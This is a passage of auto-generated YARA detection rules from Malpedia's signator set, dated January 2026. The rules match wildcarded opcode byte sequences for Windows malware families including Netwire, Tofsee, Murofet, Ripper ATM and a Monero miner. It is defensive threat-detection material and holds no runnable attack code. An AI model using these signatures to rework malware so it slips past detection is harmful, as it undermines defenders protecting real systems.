		id = "8f521802-fe9f-59e3-95e4-5c6b679dd629"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ripper_atm_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "20a25cf7a57e29f6fcd47218cda1c983413d86161c6d93b073b8fbc3d2b6ce43"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 8bcc 89a57cfdffff 68???????? e8???????? }
		$sequence_1 = { 2bc1 99 c745f818000000 f77df8 83c410 8945e8 85c9 }
		$sequence_2 = { c7470411000000 897708 89770c 897710 c707???????? }
		$sequence_3 = { c3 55 8bec 8b0d???????? 8b15???????? 8bc1 2bc2 }
		$sequence_4 = { 8b4f3c 50 e8???????? 8b4f3c ff75fc 0fbec0 894744 }
		$sequence_5 = { 7516 8b7708 8b4610 3b02 0f8d8e000000 ff7514 }
		$sequence_6 = { 8b4de8 3b4810 7d27 8b4e08 ff7514 80790d00 51 }
		$sequence_7 = { 68???????? 53 ff15???????? 56 56 50 8945fc }
		$sequence_8 = { 8bf9 50 e8???????? ff7518 8d45ec ff7514 8bcf }
		$sequence_9 = { 7409 6aff 53 50 e8???????? be???????? 56 }
	condition:
		7 of them and filesize < 724992
}

rule MALPEDIA_Win_Webc2_Ausov_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9f7dcd3a-83e3-51b1-b972-c6423fd03466"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ausov"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.webc2_ausov_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "54e3ad7a65c1020ea5947e1b7fb8d16c99e374f254cf080dd27feb76035c9b99"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83854cfaffff02 80bd46faffff00 75ae c78540faffff00000000 eb0b 1bc0 83d8ff }
		$sequence_1 = { 0f8407000000 0f8501000000 f8 8b550c }
		$sequence_2 = { b941000000 33c0 8dbda9faffff f3ab }
		$sequence_3 = { 7546 80bd47faffff00 7431 8b8548faffff 8a4801 888d46faffff }
		$sequence_4 = { 0355f4 0fbe4201 3345f4 8945fc 0f8407000000 }
		$sequence_5 = { 6a00 8d85a8faffff 50 8d8dbcfcffff }
		$sequence_6 = { 85c9 740d 85c0 7409 5f 5e }
		$sequence_7 = { 6a00 68???????? 8d85f8fbffff 50 e8???????? 83c408 50 }
		$sequence_8 = { 0f8501000000 f8 68???????? 8d8dfcfbffff 51 e8???????? 83c408 }
		$sequence_9 = { ffd3 8bf0 85f6 0f8487000000 8b3d???????? }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Warhawk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7fcbe369-7eba-5509-9f6c-bc41b0560179"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.warhawk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.warhawk_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "44d5f6f70697925bfa262390ea7caffa63c489e29c99852e5d174229a319929a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8be5 5d c3 bb02000000 8b4dfc 8bc3 }
		$sequence_1 = { 83f809 0f8799000000 ff248521b34000 ff7510 ff750c e8???????? }
		$sequence_2 = { 0f8482000000 53 57 6a28 ff15???????? 8bd8 83c404 }
		$sequence_3 = { 0f8473010000 8d85fcfbffff 8d5001 660f1f440000 8a08 40 84c9 }
		$sequence_4 = { 0fb606 50 e8???????? 0fb60b }
		$sequence_5 = { e711 a0???????? ad fb 93 9f b66c }
		$sequence_6 = { 85c9 7406 8b4204 894104 8b4e08 3bd1 }
		$sequence_7 = { 8b7d0c 33db 897df4 8975f8 8945fc 8a06 3a8358e94100 }
		$sequence_8 = { 0fb680201c4000 ff2485001c4000 c6065c eb30 c60622 eb2b c60662 }
		$sequence_9 = { 660f2fda 0f93c0 85c0 754d }
	condition:
		7 of them and filesize < 2345984
}

rule MALPEDIA_Win_Greetingghoul_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ab352bb6-0e90-5ea4-81b4-0f0ddff67e2f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.greetingghoul"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.greetingghoul_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "05f8eb95e67f4d995ab80e8300d436e31d93b18d0182fa8edc0fa057e1e63b5a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8945f4 33c9 894df8 380f 7409 }
		$sequence_1 = { 57 660fd603 33ff c6430800 c70600000000 }
		$sequence_2 = { ff15???????? 85c0 7e06 03f0 2bf8 75ea }
		$sequence_3 = { 750c 6a21 e8???????? 83c404 eb0d 8d4721 }
		$sequence_4 = { c3 0fbec8 0fbec3 8b5dfc 2bc8 74e1 }
		$sequence_5 = { 75eb 8b5dfc 83c8ff 3b5df8 5f 0f44d8 5e }
		$sequence_6 = { 7e06 03d8 2bf0 75ea }
		$sequence_7 = { 33f6 8a17 80fa20 740a }
		$sequence_8 = { e8???????? 83c404 eb10 8d4701 03c3 50 }
		$sequence_9 = { 5d c3 5f c7462800000000 8bc3 5e 5b }
	condition:
		7 of them and filesize < 696320
}

rule MALPEDIA_Win_Monero_Miner_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "53964e17-4946-5df0-a485-9eaee6f615c2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.monero_miner"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.monero_miner_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "cffe54ca1957e07a44d930d7017ae2111987cffb75cbed1acab293924f2ab98e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c6043000 c744240811000000 89442404 c70424???????? e8???????? 85c0 7411 }
		$sequence_1 = { e8???????? 0fb643fa 8d4e04 c7442404???????? 890c24 89442408 e8???????? }
		$sequence_2 = { 8b6c240c 136c2424 8b8c24d4000000 8bbc24dc000000 89c2 8b4350 31f2 }
		$sequence_3 = { e8???????? 8d9424a0000000 8d442460 b901000000 e8???????? 8d542460 8d8424a0000000 }
		$sequence_4 = { 890424 e8???????? 83f8ff 0f8463050000 817c2434ff3f0000 8b442430 0f96c2 }
		$sequence_5 = { 8b94247c010000 898c2448020000 899c244c020000 8b9c248c010000 89c5 0fa4d017 0fa4ea17 }
		$sequence_6 = { 8db4248c000000 c60000 89442414 8b8398000000 8974240c c7442404???????? 89442410 }
		$sequence_7 = { 8b542428 8354242c00 83c340 836c242040 c1e206 39542414 0f87c3feffff }
		$sequence_8 = { ffd6 83f8ff 75de 81c4cc0f0000 89e8 5b 5e }
		$sequence_9 = { 8906 8b7413fc 897411fc 8b7d14 89de 81c784000000 }
	condition:
		7 of them and filesize < 1425408
}

rule MALPEDIA_Win_Rincux_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fcec6357-ec7f-5319-84f9-3e3af9251503"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rincux"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rincux_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "495e2f221b3a3eaf8635ea3eb223efd9431aa4fc4e38116d5df5e0ad084dcaef"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 ff15???????? 89442418 8b442410 50 ff15???????? }
		$sequence_1 = { 83cafe 42 7534 8a4c2414 8a542410 c644245c01 }
		$sequence_2 = { 8b8c2494a00000 5f 5e 5d 33c0 5b }
		$sequence_3 = { 53 55 56 57 0f84ec150000 8b581c 85db }
		$sequence_4 = { bb06000000 8b04a8 8d7804 8b07 50 ff15???????? 83c704 }
		$sequence_5 = { 50 68???????? 51 ffd6 8b15???????? 83c40c 8b049508a50210 }
		$sequence_6 = { 85c0 7477 ff15???????? 83f812 746c 8b6c2418 8b35???????? }
		$sequence_7 = { 8d4c2424 8d5d1c 52 8d7d10 8d7518 51 53 }
		$sequence_8 = { 33db 33ed 3bf0 57 89742410 89442414 }
		$sequence_9 = { 5b 5e 5d c20400 5e b8???????? }
	condition:
		7 of them and filesize < 392192
}

rule MALPEDIA_Win_Murofet_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ff4651b8-f01c-5a4b-b3ae-29bd62dfdd08"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.murofet_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "94ade8c85b5c2b31256b3a8187c71d11e0c07536823190c2ab9a762d80de406f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { a2???????? 84c0 7510 e8???????? 3c04 73ce b002 }
		$sequence_1 = { 72e5 e8???????? a2???????? 84c0 7510 }
		$sequence_2 = { 3c02 72e5 e8???????? a2???????? 84c0 7510 }
		$sequence_3 = { 3c04 73ce b002 a2???????? }
		$sequence_4 = { 57 56 ff15???????? c6443eff00 83f8ff 7509 56 }
		$sequence_5 = { e8???????? 32c0 eb43 be30750000 56 }
		$sequence_6 = { e8???????? a2???????? 84c0 7510 e8???????? }
		$sequence_7 = { e8???????? 3c04 73ce b002 }
		$sequence_8 = { 84c0 7510 e8???????? 3c04 }
		$sequence_9 = { 3c02 72e5 e8???????? a2???????? }
	condition:
		7 of them and filesize < 622592
}

rule MALPEDIA_Win_Waterspout_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b586bd54-931a-56de-aa91-0c07bfde94ab"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterspout"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.waterspout_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "d8e2787076e89338cd714382e58eddd7d135aa9f7451f2a43ebcaaaa612febc9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? 56 e8???????? 83c418 84c0 751e 6a01 }
		$sequence_1 = { 56 8d4c2420 8802 ff15???????? bf???????? 83c9ff }
		$sequence_2 = { 88442424 32c3 50 e8???????? 8a4c2420 8ad3 32d1 }
		$sequence_3 = { 83fe01 f3aa 8a842470200000 884500 }
		$sequence_4 = { 57 57 50 ff15???????? 85c0 7540 8b0e }
		$sequence_5 = { 83c408 8d4c2414 c744241430750000 6a04 51 }
		$sequence_6 = { c68424870000008f c684248800000092 c68424890000009d c684248a00000038 c684248b000000f5 c684248c000000bc c684248d000000b6 }
		$sequence_7 = { 8bb4240c200000 8d442410 6a00 50 6a00 6a00 6a00 }
		$sequence_8 = { 8dbc24ac030000 f3ab 8d442410 8d4c2418 50 8b842490630000 51 }
		$sequence_9 = { 33ff 3bdf 897d00 7403 53 ffd6 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Gup_Proxy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bddfea2f-5980-50a2-824f-c8c992e61d4b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gup_proxy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gup_proxy_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "a31779681620c829a24a1dd7ede13a209b88a3ec71308cbcd7be1ef7e190536a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 660f6f05???????? f30f7f854cfaffff 660f6f05???????? f30f7f855cfaffff 660f6f05???????? }
		$sequence_1 = { 8bc1 8b4df8 5e 33cd 5b e8???????? 8be5 }
		$sequence_2 = { 8b4dfc f7d2 5f 5e 33cd 8bc2 5b }
		$sequence_3 = { 8b5d08 8d85e0f5ffff 56 57 8bf1 8995dcf5ffff }
		$sequence_4 = { eb83 890cb510974100 013d???????? 8b04b510974100 0500080000 3bc8 }
		$sequence_5 = { 8bce e8???????? 6a04 8d8588feffff c78588feffffc22eab48 50 }
		$sequence_6 = { c7461000000000 7204 8b06 eb02 8bc6 c60000 837e1410 }
		$sequence_7 = { f30f7f45e8 6a50 8bf9 668945e8 }
		$sequence_8 = { 88858afeffff 8bc3 c1e808 888589feffff 8d8588feffff }
		$sequence_9 = { f30f7f853cffffff 660f6f05???????? f30f7f854cffffff 660f6f05???????? }
	condition:
		7 of them and filesize < 247808
}

rule MALPEDIA_Win_Netwire_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4555ab85-e4c7-54f3-be4b-3e67ab290352"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netwire_auto.yar#L1-L116"
		license_url = "N/A"
		logic_hash = "10b18e0d62127105687ce75fd82795cf02980d2ae8e7158e6a2316037cb7d8e4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c744241000000000 c744240c00000000 c744240800000000 c744240400000000 c7042410000000 }
		$sequence_1 = { c744242c00000000 c744242800000000 c744242400000000 c7442420fdffffff }
		$sequence_2 = { e8???????? c7042410000000 e8???????? 84c0 }
		$sequence_3 = { e8???????? c7042446000000 e8???????? c7042449000000 e8???????? c7042446000000 e8???????? }
		$sequence_4 = { c70424???????? e8???????? a3???????? e9???????? c705????????00000000 e9???????? c7042410020000 }
		$sequence_5 = { e8???????? c7442410000000f0 c744240c01000000 c744240800000000 c744240400000000 c70424???????? }
		$sequence_6 = { 83ec0c c7442408???????? c7442404???????? c70424???????? }
		$sequence_7 = { 740c c7042400000000 e8???????? c70424???????? e8???????? }
		$sequence_8 = { c70424???????? e8???????? a3???????? e9???????? c705????????00000000 e9???????? }
		$sequence_9 = { e8???????? c7042401000000 e8???????? 84c0 }
	condition:
		7 of them and filesize < 416768
}

rule MALPEDIA_Win_Fengine_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cef733ce-bf96-5266-a850-204ef84184a0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fengine"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fengine_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "507e9d8622f7849f14197935caec762eb3952f2b4dfc87cf038f7351547ec88d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 85c0 0f84c5020000 68???????? 53 e8???????? }
		$sequence_1 = { 57 ff32 ff15???????? f7d8 1bc0 5e }
		$sequence_2 = { 57 8d8decefffff 51 50 8d85fcf7ffff 50 }
		$sequence_3 = { 50 e8???????? 8d5590 83c40c 8d4a01 8d642400 }
		$sequence_4 = { c705????????01000000 e8???????? 48 f7d8 }
		$sequence_5 = { 833d????????00 53 57 8bda 8bf9 7511 }
		$sequence_6 = { 8b3e 83c328 0fb74706 8955e0 894ddc 3945f8 0f8c5affffff }
		$sequence_7 = { 8d85f0efffff 50 53 ff15???????? 85c0 }
		$sequence_8 = { 7410 8b4c3012 03c8 8d4616 }
		$sequence_9 = { 3b45e4 7740 8d45ec 50 8b45e8 51 }
	condition:
		7 of them and filesize < 210944
}

rule MALPEDIA_Win_Bert_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "92a36b55-e0d9-554d-851b-77dda3f7bbeb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bert"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bert_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "a6e868967ddeea2e01bd4f16c21024fbdee2d69c00cbdbbbdfda193aebc93a0a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd0 488945e8 488b45e8 488945e0 }
		$sequence_1 = { 0fb74006 0fb7c0 3945f4 0f8c5efeffff 488b45b8 }
		$sequence_2 = { e8???????? 488945f8 488b45f8 4889c1 e8???????? 488945c8 }
		$sequence_3 = { 488b8558ffffff 4889c1 488b05???????? ffd0 }
		$sequence_4 = { c745f000000000 e9???????? 8b45f0 4863d0 4889d0 48c1e002 }
		$sequence_5 = { 48898570ffffff 8b45d0 4863d0 4889d0 48c1e002 4801d0 }
		$sequence_6 = { 4883ec10 48894d10 48895518 488b4510 488945f8 488b4518 }
		$sequence_7 = { 488945d8 488b45d8 480508010000 488945d0 48c745f800000000 }
		$sequence_8 = { 4801d0 8b4008 89c1 488d9524ffffff }
		$sequence_9 = { 48c1e810 0fb7c0 4801c2 488b8578ffffff 488910 eb21 488b8578ffffff }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Graphite_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "22d6771d-6e02-5bad-92aa-7abf2f0540bc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphite"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphite_auto.yar#L1-L109"
		license_url = "N/A"
		logic_hash = "fac8314c02add0a1a3fcfc7bc6cd359f12eb58a8246911250bf475b51a803e3f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85db 7513 33d2 e8???????? 84c0 }
		$sequence_1 = { 7513 33d2 e8???????? 84c0 }
		$sequence_2 = { 81e2ff030000 81e1bf030000 83c940 c1e10a }
		$sequence_3 = { 81e2ff030000 81e1bf030000 83c940 c1e10a 0bca }
		$sequence_4 = { 85db 7513 33d2 e8???????? }
		$sequence_5 = { 81e1bf030000 83c940 c1e10a 0bca }
		$sequence_6 = { 85db 7513 33d2 e8???????? 84c0 74e4 }
		$sequence_7 = { 7513 33d2 e8???????? 84c0 74e4 }
		$sequence_8 = { 33d2 e8???????? 84c0 74e4 }
		$sequence_9 = { ff15???????? 33c0 eb05 b801010000 }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Obscene_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "de7d43f1-261f-57f6-aed2-154950ae43ae"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.obscene"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.obscene_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "69b57f278cfe3402f37b22931c479ec832951485342c04942f09cb1c1b23263c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? 6a00 6a00 ff15???????? eb09 }
		$sequence_1 = { ff75f0 ff15???????? 50 68c03d1010 e8???????? }
		$sequence_2 = { 0fbe00 83f830 7c0b 8b45f8 }
		$sequence_3 = { 6828431010 68e4401010 e8???????? 59 59 682c431010 }
		$sequence_4 = { 6a06 68???????? ff35???????? 6aff ff15???????? 68???????? }
		$sequence_5 = { eb61 68???????? 68???????? 68???????? e8???????? 83c40c 68???????? }
		$sequence_6 = { ff750c e8???????? 59 3da0bb0d00 733e ff75fc 6800080000 }
		$sequence_7 = { 59 ff7508 6860ad0010 e8???????? 59 59 68bc501010 }
		$sequence_8 = { c605????????68 c705????????d15aaa00 c605????????c3 8d45fc 50 6a06 }
		$sequence_9 = { 55 8bec 81ec04080000 68???????? ff750c e8???????? 59 }
	condition:
		7 of them and filesize < 2170880
}

rule MALPEDIA_Win_Tofsee_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5ec9c841-1425-53ec-b84c-3ac0dbb9536e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tofsee_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "a6df759b6d2a0e48c553f18c939a733af072972aeea2dd4dbecf6d38d79b3015"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6864006400 ff7510 ff15???????? 85c0 7404 }
		$sequence_1 = { 5e c3 55 8bec 83ec14 8365f400 8365f800 }
		$sequence_2 = { 57 8d8580fbffff eb68 03d8 81fbf4010000 0f8f92000000 }
		$sequence_3 = { 85c9 8816 7ff0 017dfc eb13 8b45ec }
		$sequence_4 = { 51 50 53 e8???????? 8b4c241c 8b413c 56 }
		$sequence_5 = { ff75fc e8???????? 83c40c 56 ff75f8 8d45d4 6a03 }
		$sequence_6 = { 8b4e10 85c9 7412 33d2 f7f1 894df8 8945fc }
		$sequence_7 = { e9???????? 68???????? ff7514 e8???????? 59 59 83fb05 }
		$sequence_8 = { 391e 895dbc 8975f4 7e7f 83c608 bf???????? 8b46fc }
		$sequence_9 = { 0f8498000000 8b4510 8938 8b450c 8d4801 8a10 40 }
	condition:
		7 of them and filesize < 147456
}

rule MALPEDIA_Win_Ehdevel_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a1927287-a7a0-56db-9215-479d35c403c1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ehdevel"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ehdevel_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "684d7241cee866804960efb3b0b6928989858b77ba794c784761214d04fdf763"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c5 8945fc 57 8bf9 8d85ece7ffff 50 8d8dfcf7ffff }
		$sequence_1 = { 85c0 7524 a1???????? a3???????? a1???????? c705????????d22f0110 8935???????? }
		$sequence_2 = { 51 e8???????? 83c40c 56 8d95e8fbffff 6804010000 }
		$sequence_3 = { 8b3d???????? c60301 ffd7 56 ff15???????? 56 ffd7 }
		$sequence_4 = { 8985e8f7ffff 897e10 897e14 c645fc03 399d94f7ffff 720f 8b8d80f7ffff }
		$sequence_5 = { 8d8dfcf7ffff 51 e8???????? 83c410 84c0 7502 32db }
